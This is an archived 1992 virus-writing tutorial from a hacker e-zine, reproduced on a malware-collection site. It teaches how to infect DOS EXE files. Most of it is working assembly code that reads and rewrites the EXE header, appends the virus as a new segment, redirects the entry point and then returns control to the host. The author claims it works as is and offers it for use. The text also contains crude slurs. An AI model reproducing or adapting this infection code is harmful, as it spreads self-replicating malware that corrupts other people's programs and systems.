VX Heaven

Library Collection Sources Engines Constructors Simulators Utilities Links Forum

EXE Infections

Rock Steady
Nuke Info Journal [4]
August 1992

[Back to index] [Comments]

PART I. Infection Process

We must admit there are HUGE amount of Lame Viruses out there. Ever wonder why so many people talk about the AIDS virus? Its a fucken over writting virus. Its HUGE in size and its written in PASCAL. Please! Have a little more respect for the virus world. What happened to that old Bulgarian Spirit? That too has died. Bulgaria isn't writting as many top viruses as it used to! Or are we in for a surprise? (USSR Kicks!)

Well to help people in advancing their Virus programming ability I will try to explain that basics in Infecting an EXE file. There are several ways to infect an EXE file. And I have tried several types. The best one I have programmed is the one you'll see. In Basic, it will infect EXEs by starting a new segment, only for the virus. This will infect EXEs over the size of 64k, and it is alot less complicated..

Before we can begin we must know a few things, about EXEs. Let's say a .COM file has been loaded to segment address 1234:0000. When the COM file runs its code is limited to 1234:0000 to 1234:FFFF (64k). In the other end EXE files, are basicaly several COMs in one. Where EXE files can set up DATA struct in one segment, CODE in another, and STACK in another. EXEs can have an unlimited amount of Segments, its limitation is Memory Availablity. And the EXE file keeps track of these Segments, with an EXE header, telling DOS what segments start where, How big the file is, the amount of memory needed to run. the EXE header is the first few bytes of the EXE file. Though if you use DEBUG to load an EXE file you will not run into the EXE header, as DEBUG uses the EXE header to load its CS:IP regesters with, the SS:SP and so on. Though you can view the EXE header with debug if you Rename that EXE file. So just do `DEBUG FILENAME.EQE' Just rename an EXE, the extension can be anything you wish, however don't go and rename it to COM or BIN, these are reserved Extensions, and debug treats them differently, Example if you rename it to COM debug will load the IP regester as 0100h. The EXE header is Usually 28 bytes, though it is save as 32 Bytes Long. As the size of the EXE header (Offset 8) is in multiple 16 bytes, so 28 bytes will have to be covered in (16*2)! But the last 4 bytes are unused, by dos, Though Doesn't STOP a VIRUS from using it? Just a poping ideas out in the open. Anyhow this is how the EXE header consists, of..

00 00Always 4D 5A. Marks this file as an .EXE file
*0202Remainder after dividing load module's size by 512
*0404Size of file in 512 byte pages
06 06Number of relocation table entries
@0808Size of header in paragraphs (16 bytes)
0A 10Minumum number of paragraphs required after loaded program
0C 12Maximum number of paragraphs required after loaded program
*0E14(SS) Offset of Stack Segment in Load module in paragraphs
*1016SP regester loaded with this word
12 18Negative sum (ignore overflow) of all words in file (CRC)
*1420IP register loaded with this word
*1622(CS) Offset of Code Segment in load module in paragraphs
18 24Offset of first relocation item.
1A 26Overlay number. If no overlays used, this is 0

* = Will be Edited by our Virus

@ = Needed to help our reconstruction of the EXE header

First thing to do is read the EXE header for the file to be infected! That can be resolved by...

     mov     ah,3fh                 ; Read from File BTW: BX=File Handle
     mov     cx,1ch                 ; Read 1Ch Bytes (28)
     mov     dx,offset ds:[buffer]  ; Put it in our Buffer we set up!
     int     21h                    ; Call the Dos to do it.
     jc      error_exit             ; Error accured, Jmp to an Exit Routine
 buffer  db      1Ch DUP (?)     ;This is how to set up your buffer.
 exe_ip  dw      0       ;This is were you will save the original
 exe_cs  dw      0       ;Registers from the EXE header!
 exe_sp  dw      0       ;Put all theses DWs & DBs at the end of
 exe_ss  dw      0       ;you file, with all the others...

Next, after reading the first 28 bytes, you will need to set your file pointers to the end of the file.

     mov     ax,4202h        ; Move Read/Write Pointer to End of File
     xor     cx,cx           ; plus offset (CX:DX)! So make sure CX:DX
     xor     dx,dx           ; are ZERO or else it will go further than
     int     21h             ; the End of File!
     jc      error_exit      ; Also test for errors! Be a Smart Virus!

After bringing your virus to the end, you may start the infection process...

 ;Remember BX = File Handle  DX:AX Pointer Location (EOF)
     cmp    word ptr cs:[buffer],5A4Dh  ; Is file an .EXE?
                                  /\ Reverse double word format
     jnz    error_exit           ;Exit its NOT an .EXE file!
     mov    cx,word ptr cs:[buffer+14h]  ;IP register Read
     mov    word ptr cs:[exe_ip],cx      ;Save IP Register
     mov    cx,word ptr cs:[buffer+16h]  ;CS Register Read
     mov    word ptr cs:[exe_cs],cx      ;Save CS Register
     mov    cx,word ptr cs:[buffer+10h]  ;SP Register Read
     mov    word ptr cs:[exe_sp],cx      ;Save SP Register
     mov    cx,word ptr cs:[buffer+0Eh]  ;SS Register Read
     mov    word ptr cs:[exe_ss],cx      ;Save SS Register

The following finds new CS:IP and SS:SP registers. It will create a new segment, and CS:IP will point to the beginning of the Virus. If you have other code, and the virus beginning is further down the First byte, just add the number of Bytes to AX.

     push   ax
     push   dx
     call   Find_New_Offsets     ;Refer to it at the END of this Text
     sub    dx,word ptr cs:[buffer+8h]  ;Minus CS offset by EXE header!
     mov    word ptr cs:[buffer+16h],dx ;Save new CS Register
     mov    word ptr cs:[buffer+14h],ax ;Save new IP Register
     pop    dx
     pop    ax           ; Restore Original DX:AX Point Location (EOF)
     add    ax,virus_size      ; .STACKs are usually at the end of the code
                               ; in the EXEs, since our virus is now at the
                               ; End, we must move it after our virus, thus
                               ; it back at the END of the File!
     adc    dx,0         ;Add with Carry Flag!
     push   ax
     push   dx                          ;Save new EOF pointer Location
     call   Find_New_Offsets            ;Get NEW offsets for SS:SP
     sub    dx,word ptr cs:[buffer+8h]  ;Subtract EXE header from File Size
                                        ;as it should not be counted!
     add    ax,40h                      ;Move Stacks a little after EOF
     mov    word ptr cs:[buffer+0Eh],dx ;Save new SS Register for Stacks
     mov    word ptr cs:[buffer+10h],ax ;Save new SP Register for Stacks
     pop    dx
     pop    ax           ;Restore Original EOF (With Virus Counted)
     push   bx
     push   cx
     mov    cl,7                 ;In Simple, here we are figuring out
     shl    dx,cl                ;the New File Size in 512byte pages
     add    bx,ax                ;Now Rather than using the DIV and
     mov    cl,9                 ;MOD function, I used this one because
     shr    bx,cl                ;It is alot FASTER for the Processor!
     add    dx,bx                ;The Result is exactly same, But
     and    ax,1FFh              ;Shifting bits, results of the
     jz     Its_Even             ;Same function when dealing with base
     inc    dx                   ;16 numbers!
 Its_Even:            ;Read PeterNorton's Advanced ASM Language for
     pop    cx        ;more neat short cuts for the above!
     pop    bx
     mov    word ptr cs:[buffer+2h],ax   ;Remainder after of 512 pages
     mov    word ptr cs:[buffer+4h],dx   ;New File Size in 512 pages
 Now we are Ready to write the virus to the EXE File! (Yeah!)
     mov    ah,40h                 ;Write to File
     mov    dx,offset init_Virus   ;This is the BEGINNING offset of your
                                   ;Virus! (Look at NuKE PoX v1.1)
     mov    cx,Virus_size          ;Virus Size
     int    21h
     jc     error_exit             ;Error Exit dude...
     mov    ax,4200h               ;Move File Pointer to the BEGINNING
     xor    cx,cx                  ;of the EXE so, we may now write the
     xor    dx,dx                  ;EXE header!
     int    21h
     mov    ah,40h                ;Write to File
     mov    dx,offset ds:[buffer] ;Write all the stuff in the EXE_Header
     mov    cx,1Ch                ;CX=number of bytes to write
     int    21h                   ;Do it!

 ;  finds new Offsets for CS:IP & SS:SP Registers
 Find_New_Offsets        PROC    NEAR
         push    bx
         push    cx
         mov     cl,0Ch              ;(c) Rock Steady/NuKE
         shl     dx,cl               ; I'm dividing here....
         mov     bx,ax
         mov     cl,4                ; And multiply by 16 hear
         shr     bx,cl
         add     dx,bx
         and     ax,0Fh
         pop     cx
         pop     bx
 Find_New_Offsets        ENDP
                         Rock Steady / NuKE

PS: This code works 100% as is! (Resident Virus) For Non-Residents add a location pointer! Besides, Why the Hell are you write a non-Ressy Virus? You Gay? Look at `NuKE PoX V1.1' sources to see this working!

Part II

The first part consisted on how to Infect the EXE file, from a resident virus. However, that is only HALF the code and understanding needed for EXE infectors. The part to follow, is on how to give control back to the original EXE file. This is one part of EXE infectors, that mostly EVERY ONE tend to forget to point out. Big tickle, you know how to infect the EXE, but can you make the original EXE run after its infection? Do you know how to restore the registers we took from the EXE header? Anyhow lets get going...

If the Infected EXE file is now executed, the first Line of Code it will encounter will be the first byte of our Virus. Since CS:IP have been changed in the header (Part I) to point to our Virus. The first thing we will need to do, is set up a Variable offset, (As I call it). Basically when TASM compiles our virus, all variables and other data locations are given a FIX address. Though in the case of the Virus this is NOT GOOD as viruses, tend to append themselves, and therefore variables are never in the same location...

 Fig 1.
   (Original ASM Source)
           CALL   doit_Now             ;Call PUSHes CS:IP addresses
 doit_now: POP    BP                   ;POP in BP the IP register
           SUB    BP,offset doit_now   ;Make it EQUAL 0 for first Compile!
           MOV    AX,word ptr cs:[variable+BP] ;BP=0 now it works!
 variable  dd     55

When TASM Compiles the above Code it turns it into Fig 2. (Below)

 Fig 2.                          Fig 3.
   (Virus Just Compiled)                (Virus Infect to a file)
 1234:0100   CALL  1234:0103          1234:0100  JMP  500
 1234:0103   POP   BP                 1234:0102  ...   (Infect File)
 1234:0104   SUB   BP,0103                       ...      ''    ''
 1234:0107   MOV   AX,[0200+BP]       1234:0200  ...      ''    ''
             ...                                 ...      ''    ''
 1234:0200   dd    55                 1234:0500  CALL 1234:0503
                                      1234:0503  POP  BP       (BP=503)
                                      1234:0504  SUB  BP,0103  (BP=400)
                                      1234:0507  MOV  AX,[0200+BP]
                                                 ...      (200+BP=600)
                                      1234:0600  dd   55

Later when the Virus infects a File, it will represent Fig 3. Now, when the CALL command is executed, it PUSHes into the Stacks the NEXT CS:IP so when it has to RETurn, all it has to do is POP back the CS:IP to know exactly where it left off! So we can take advantage of the command, by POPing back ourselves, thus this will give us the NEXT byte from the CALL command. which as you see, in the examples is our POP BP statement.

However when the Virus is Freshly Compiled, all Registers values are GOOD, so that is why we must make BP=0 the first time, as the variables were set according to the sources, so no adjustment needed, though when we infect a file, this BP Variable Pointer come ALIVE! (View Fig 3. + Fig 2.)

Boy, That was the HARDEST part of that, Now if you found that simple pat yourself on the back, as that is the only `BIG' Conflict people tend to disregard or forget. So any time while you are NOT resident but infected on the file, and you are running code from the infected file just use the that BP Variable Pointer, for any data being loaded... Now lets put the routine together, along with the routine to EXECUTE the original EXE file

 ; After the Virus Has moved a copy of itself in memory, Control must be
 ; Given back to the Original EXE file we just infected... This is the
 ; Routine to do it..
         mov     bx,word ptr cs:[buffer+22][bp]  ;Loads CS register
         mov     ax,cs                           ;Move current CS in AX
         sub     ax,bx                           ;Subtract for alinment
         mov     dx,ax
         add     ax,word ptr cs:[exe_cs][bp]     ;Get ORIGINAL CS
         add     dx,word ptr cs:[exe_ss][bp]     ;Get ORIGINAL SS
         mov     bx,word ptr cs:[exe_ip][bp]     ;Get ORIGINAL IP
         mov     word ptr cs:[fuck_yeah][bp],bx  ;Put IP
         mov     word ptr cs:[fuck_yeah+2][bp],ax ;Put CS (Reverse Order)
         mov     ax,word ptr cs:[exe_sp][bp]     ;Get ORIGNAL SP
         mov     word ptr cs:[Rock_fix1][bp],dx  ;Put in SS
         mov     word ptr cs:[Rock_fix2][bp],ax  ;Put in SP
         db      0B8h     ;The Byte `B80000' is really a MOV AX,????
 Rock_Fix1:               ;???? is the Value of SS that we will put into
         dw      0        ;THIS LINE!
         cli                     ;Disable Interrupts (No Jamming)
         mov     ss,ax           ;Mov the AX (really SS) into SS register
         db      0BCh    ;Byte `BC0000' is really a MOV SP,????
 Rock_Fix2:              ;???? is the Value of SP that we will put into
         dw      0       ;THIS LINE!!
         sti                     ;Enable Interrupts
         db      0EAh    ;The Byte `EA00000000' is a JMP CS:IP How ever
 fuck_Yeah:              ;IP comes FIRST then CS (Reverse Order) And then
         dd      0       ;the Virus does the JMP CS:IP to the Original
                         ; Simple huh?
 ; To see this as a HOLE Virus look at `NuKE PoX V1.1' Virus Sources Codes
 ; Made by me (Rock Steady) As you can see the Code is ORGINAL, and nothing
 ; that looks like any of them Sources we see around. Though I give it to
 ; you to use.
                         Rock Steady / NuKE
   `One, Two, One, Two, One, Two... Come On Get into that Olympic Spirit'
     `Lose Them pounds, Get Rid of that unwanted FAT of them Drives...'
[Back to index] [Comments]
By accessing, viewing, downloading or otherwise using this content you agree to be bound by the Terms of Use! aka